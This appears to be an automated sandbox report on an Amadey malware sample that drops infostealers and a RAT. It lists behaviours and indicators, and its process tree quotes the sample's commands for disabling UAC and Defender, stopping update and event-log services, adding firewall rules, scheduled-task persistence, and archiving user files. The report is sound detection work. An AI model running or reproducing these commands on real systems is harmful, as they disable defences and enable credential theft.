amadey | 6bbc0f14c2cb10dbfac7bff110a76cb7944486e41213c3e075dc9ce07d70e27a

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe = "0"	file300un.exe

Xehook stealer
Xehook is an infostealer written in C#.
stealer xehook
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	6bbc0f14c2cb10dbfac7bff110a76cb7944486e41213c3e075dc9ce07d70e27a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	chrosha.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
17	4816	rundll32.exe
23	1056	rundll32.exe

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 3 IoCs

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3564	netsh.exe
4444	netsh.exe
5072	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6bbc0f14c2cb10dbfac7bff110a76cb7944486e41213c3e075dc9ce07d70e27a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6bbc0f14c2cb10dbfac7bff110a76cb7944486e41213c3e075dc9ce07d70e27a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	chrosha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	chrosha.exe

Executes dropped EXE 19 IoCs

pid	Process
3412	chrosha.exe
2396	swiiiii.exe
2864	alexxxxxxxx.exe
436	Traffic.exe
3872	propro.exe
2116	gold.exe
3888	NewB.exe
2336	jok.exe
3704	swiiii.exe
908	ISetup8.exe
2732	toolspub1.exe
1964	file300un.exe
2100	up8.0.exe
4332	LLWWgkPrs0rInpg9Pdzgm7kP.exe
5068	SmG1u9sWJQqpMjXmOR4NVlya.exe
1608	4767d2e713f2021e8fe856e3ea638b58.exe
3424	dirtquire.exe
2376	xfYaMFzhPJjwuhmNLTrslwFq.exe
868	u3cc.0.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2718508534-2116753757-2794822388-1000\Software\Wine	6bbc0f14c2cb10dbfac7bff110a76cb7944486e41213c3e075dc9ce07d70e27a.exe
Key opened	\REGISTRY\USER\S-1-5-21-2718508534-2116753757-2794822388-1000\Software\Wine	chrosha.exe

Loads dropped DLL 3 IoCs

pid	Process
2792	rundll32.exe
4816	rundll32.exe
1056	rundll32.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000100000002aa79-1060.dat	themida

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe = "0"	file300un.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
31	pastebin.com
34	pastebin.com
68	pastebin.com

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
39	api.myip.com
50	ipinfo.io
66	api.myip.com
67	ipinfo.io
39	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3584	6bbc0f14c2cb10dbfac7bff110a76cb7944486e41213c3e075dc9ce07d70e27a.exe
3412	chrosha.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2396 set thread context of 764	2396	swiiiii.exe	84
PID 2864 set thread context of 4776	2864	alexxxxxxxx.exe	90
PID 2116 set thread context of 3004	2116	gold.exe	104
PID 3704 set thread context of 2792	3704	swiiii.exe	116
PID 1964 set thread context of 4904	1964	file300un.exe	123
PID 3424 set thread context of 3316	3424	dirtquire.exe	136

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\chrosha.job	6bbc0f14c2cb10dbfac7bff110a76cb7944486e41213c3e075dc9ce07d70e27a.exe

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3044	sc.exe
2028	sc.exe
3040	sc.exe
1788	sc.exe
2508	sc.exe
2792	sc.exe
5036	sc.exe
1576	sc.exe
2100	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
3524	2396	WerFault.exe	81
2864	2732	WerFault.exe	118
2040	868	WerFault.exe	142
1072	2100	WerFault.exe	128

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
244	schtasks.exe
4932	schtasks.exe
960	schtasks.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	propro.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	propro.exe

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
3584	6bbc0f14c2cb10dbfac7bff110a76cb7944486e41213c3e075dc9ce07d70e27a.exe
3584	6bbc0f14c2cb10dbfac7bff110a76cb7944486e41213c3e075dc9ce07d70e27a.exe
3412	chrosha.exe
3412	chrosha.exe
4816	rundll32.exe
4816	rundll32.exe
4816	rundll32.exe
4816	rundll32.exe
4816	rundll32.exe
4816	rundll32.exe
4816	rundll32.exe
4816	rundll32.exe
4816	rundll32.exe
4816	rundll32.exe
1212	powershell.exe
1212	powershell.exe
436	Traffic.exe
2792	RegAsm.exe
2792	RegAsm.exe
468	powershell.exe
468	powershell.exe
468	powershell.exe
2336	jok.exe
2336	jok.exe
2336	jok.exe
2336	jok.exe
3316	RegAsm.exe
3316	RegAsm.exe
1432	powershell.exe
1432	powershell.exe
2448	powershell.exe
2448	powershell.exe
1432	powershell.exe
2448	powershell.exe
4208	powershell.exe
4208	powershell.exe
4208	powershell.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	436	Traffic.exe
Token: SeBackupPrivilege	436	Traffic.exe
Token: SeSecurityPrivilege	436	Traffic.exe
Token: SeSecurityPrivilege	436	Traffic.exe
Token: SeSecurityPrivilege	436	Traffic.exe
Token: SeSecurityPrivilege	436	Traffic.exe
Token: SeDebugPrivilege	1212	powershell.exe
Token: SeDebugPrivilege	1964	file300un.exe
Token: SeDebugPrivilege	4904	msbuild.exe
Token: SeDebugPrivilege	468	powershell.exe
Token: SeDebugPrivilege	3316	RegAsm.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	2448	powershell.exe
Token: SeDebugPrivilege	4208	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3412 wrote to memory of 2396	3412	chrosha.exe	81
PID 3412 wrote to memory of 2396	3412	chrosha.exe	81
PID 3412 wrote to memory of 2396	3412	chrosha.exe	81
PID 2396 wrote to memory of 924	2396	swiiiii.exe	83
PID 2396 wrote to memory of 924	2396	swiiiii.exe	83
PID 2396 wrote to memory of 924	2396	swiiiii.exe	83
PID 2396 wrote to memory of 764	2396	swiiiii.exe	84
PID 2396 wrote to memory of 764	2396	swiiiii.exe	84
PID 2396 wrote to memory of 764	2396	swiiiii.exe	84
PID 2396 wrote to memory of 764	2396	swiiiii.exe	84
PID 2396 wrote to memory of 764	2396	swiiiii.exe	84
PID 2396 wrote to memory of 764	2396	swiiiii.exe	84
PID 2396 wrote to memory of 764	2396	swiiiii.exe	84
PID 2396 wrote to memory of 764	2396	swiiiii.exe	84
PID 2396 wrote to memory of 764	2396	swiiiii.exe	84
PID 3412 wrote to memory of 2864	3412	chrosha.exe	88
PID 3412 wrote to memory of 2864	3412	chrosha.exe	88
PID 3412 wrote to memory of 2864	3412	chrosha.exe	88
PID 2864 wrote to memory of 4776	2864	alexxxxxxxx.exe	90
PID 2864 wrote to memory of 4776	2864	alexxxxxxxx.exe	90
PID 2864 wrote to memory of 4776	2864	alexxxxxxxx.exe	90
PID 2864 wrote to memory of 4776	2864	alexxxxxxxx.exe	90
PID 2864 wrote to memory of 4776	2864	alexxxxxxxx.exe	90
PID 2864 wrote to memory of 4776	2864	alexxxxxxxx.exe	90
PID 2864 wrote to memory of 4776	2864	alexxxxxxxx.exe	90
PID 2864 wrote to memory of 4776	2864	alexxxxxxxx.exe	90
PID 4776 wrote to memory of 436	4776	RegAsm.exe	91
PID 4776 wrote to memory of 436	4776	RegAsm.exe	91
PID 4776 wrote to memory of 3872	4776	RegAsm.exe	92
PID 4776 wrote to memory of 3872	4776	RegAsm.exe	92
PID 4776 wrote to memory of 3872	4776	RegAsm.exe	92
PID 3412 wrote to memory of 2792	3412	chrosha.exe	95
PID 3412 wrote to memory of 2792	3412	chrosha.exe	95
PID 3412 wrote to memory of 2792	3412	chrosha.exe	95
PID 2792 wrote to memory of 4816	2792	rundll32.exe	96
PID 2792 wrote to memory of 4816	2792	rundll32.exe	96
PID 4816 wrote to memory of 5040	4816	rundll32.exe	97
PID 4816 wrote to memory of 5040	4816	rundll32.exe	97
PID 4816 wrote to memory of 1212	4816	rundll32.exe	99
PID 4816 wrote to memory of 1212	4816	rundll32.exe	99
PID 3412 wrote to memory of 2116	3412	chrosha.exe	102
PID 3412 wrote to memory of 2116	3412	chrosha.exe	102
PID 3412 wrote to memory of 2116	3412	chrosha.exe	102
PID 2116 wrote to memory of 3004	2116	gold.exe	104
PID 2116 wrote to memory of 3004	2116	gold.exe	104
PID 2116 wrote to memory of 3004	2116	gold.exe	104
PID 2116 wrote to memory of 3004	2116	gold.exe	104
PID 2116 wrote to memory of 3004	2116	gold.exe	104
PID 2116 wrote to memory of 3004	2116	gold.exe	104
PID 2116 wrote to memory of 3004	2116	gold.exe	104
PID 2116 wrote to memory of 3004	2116	gold.exe	104
PID 3412 wrote to memory of 3888	3412	chrosha.exe	106
PID 3412 wrote to memory of 3888	3412	chrosha.exe	106
PID 3412 wrote to memory of 3888	3412	chrosha.exe	106
PID 3888 wrote to memory of 960	3888	NewB.exe	107
PID 3888 wrote to memory of 960	3888	NewB.exe	107
PID 3888 wrote to memory of 960	3888	NewB.exe	107
PID 3412 wrote to memory of 2336	3412	chrosha.exe	109
PID 3412 wrote to memory of 2336	3412	chrosha.exe	109
PID 3412 wrote to memory of 2336	3412	chrosha.exe	109
PID 3412 wrote to memory of 1056	3412	chrosha.exe	111
PID 3412 wrote to memory of 1056	3412	chrosha.exe	111
PID 3412 wrote to memory of 1056	3412	chrosha.exe	111
PID 3412 wrote to memory of 3704	3412	chrosha.exe	112

System policy modification 1 TTPs 1 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

C:\Users\Admin\AppData\Local\Temp\6bbc0f14c2cb10dbfac7bff110a76cb7944486e41213c3e075dc9ce07d70e27a.exe
"C:\Users\Admin\AppData\Local\Temp\6bbc0f14c2cb10dbfac7bff110a76cb7944486e41213c3e075dc9ce07d70e27a.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:3584

C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3412
- C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:924
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:764
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2396 -s 896
    3⤵
    - Program crash
    PID:3524
- C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe
  "C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2864
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4776
  - - C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:436
  - - C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      PID:3872
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4816
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:5040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\718508534211_Desktop.zip' -CompressionLevel Optimal
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1212
- C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe
  "C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:3004
- C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
  "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3888
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:960
- - C:\Users\Admin\AppData\Local\Temp\1000211001\ISetup8.exe
    "C:\Users\Admin\AppData\Local\Temp\1000211001\ISetup8.exe"
    3⤵
    - Executes dropped EXE
    PID:908
  - - C:\Users\Admin\AppData\Local\Temp\up8.0.exe
      "C:\Users\Admin\AppData\Local\Temp\up8.0.exe"
      4⤵
      Executes dropped EXE
      PID:2100
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2100 -s 1368
        5⤵
        Program crash
        
        PID:1072
- - C:\Users\Admin\AppData\Local\Temp\1000212001\toolspub1.exe
    "C:\Users\Admin\AppData\Local\Temp\1000212001\toolspub1.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    PID:2732
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2732 -s 388
      4⤵
      Program crash
      PID:2864
- - C:\Users\Admin\AppData\Local\Temp\1000213001\4767d2e713f2021e8fe856e3ea638b58.exe
    "C:\Users\Admin\AppData\Local\Temp\1000213001\4767d2e713f2021e8fe856e3ea638b58.exe"
    3⤵
    - Executes dropped EXE
    PID:1608
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2448
  - - C:\Users\Admin\AppData\Local\Temp\1000213001\4767d2e713f2021e8fe856e3ea638b58.exe
      "C:\Users\Admin\AppData\Local\Temp\1000213001\4767d2e713f2021e8fe856e3ea638b58.exe"
      4⤵
      PID:892
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:2492
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1788
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:5072
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:4708
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:3208
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:2512
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:1868
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:244
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:4444
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:3452
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:2792
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:4208
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:4932
- - C:\Users\Admin\AppData\Local\Temp\1000214001\FirstZ.exe
    "C:\Users\Admin\AppData\Local\Temp\1000214001\FirstZ.exe"
    3⤵
    PID:728
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      PID:2744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:1216
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:2736
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:2792
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:3044
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:2028
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:3040
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:5036
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      PID:544
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      PID:3736
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      PID:748
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      PID:3600
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "WSNKISKT"
      4⤵
      Launches sc.exe
      PID:1788
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:1576
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:2508
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "WSNKISKT"
      4⤵
      Launches sc.exe
      PID:2100
- - C:\Users\Admin\AppData\Local\Temp\1000215001\Uni400uni.exe
    "C:\Users\Admin\AppData\Local\Temp\1000215001\Uni400uni.exe"
    3⤵
    PID:4876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000215001\Uni400uni.exe" -Force
      4⤵
      PID:1312
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      4⤵
      PID:3564
    - - C:\Users\Admin\Pictures\M16Oe1rMVhgwFefAz3Hp20Gm.exe
        
        "C:\Users\Admin\Pictures\M16Oe1rMVhgwFefAz3Hp20Gm.exe"
        5⤵
        
        PID:3520
    - - C:\Users\Admin\Pictures\b6L31zoFTHlKMCZYo8IUuIXT.exe
        
        "C:\Users\Admin\Pictures\b6L31zoFTHlKMCZYo8IUuIXT.exe"
        5⤵
        
        PID:4804
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:396
      - C:\Users\Admin\Pictures\b6L31zoFTHlKMCZYo8IUuIXT.exe
        
        "C:\Users\Admin\Pictures\b6L31zoFTHlKMCZYo8IUuIXT.exe"
        6⤵
        
        PID:1432
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:4812
    - - C:\Users\Admin\Pictures\eMoyJstOzij5Aj0qH2qga5fF.exe
        
